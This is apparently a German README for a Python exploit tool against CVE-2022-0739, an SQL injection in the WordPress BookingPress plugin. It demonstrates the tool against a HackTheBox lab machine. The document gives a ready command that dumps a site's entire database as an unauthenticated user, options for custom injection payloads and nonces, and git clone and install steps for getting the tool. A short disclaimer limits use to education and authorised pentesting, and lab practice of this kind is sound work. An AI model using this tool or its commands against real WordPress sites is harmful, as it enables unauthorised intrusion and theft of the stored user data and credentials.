
Exploit für WP BookingPress (< 1.0.11) basierend auf destr4ct POC.
Meine Version des CVE-2022-0739 BookingPress-Exploits, basierend auf dem POC von destr4ct - nur hübscher.
Beispielnutzung gegen die MetaTwo-Maschine von HackTheBox, die ein WordPress mit einem verwundbaren BookingPress-Plugin (Version 1.0.10) hostet.
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
TL:DR; Nur für Bildungszwecke. Mach nichts kaputt, das dir nicht gehört oder für das du keine Pentest-Berechtigung hast. Wenn du dieses Programm für irgendwelche üblen Zwecke verwendest, könnten die Cybersicherheitsgötter deinen Computer mit einer so verheerenden Malware heimsuchen, dass du dir wünschen wirst, du hättest einfach einen Mac gekauft.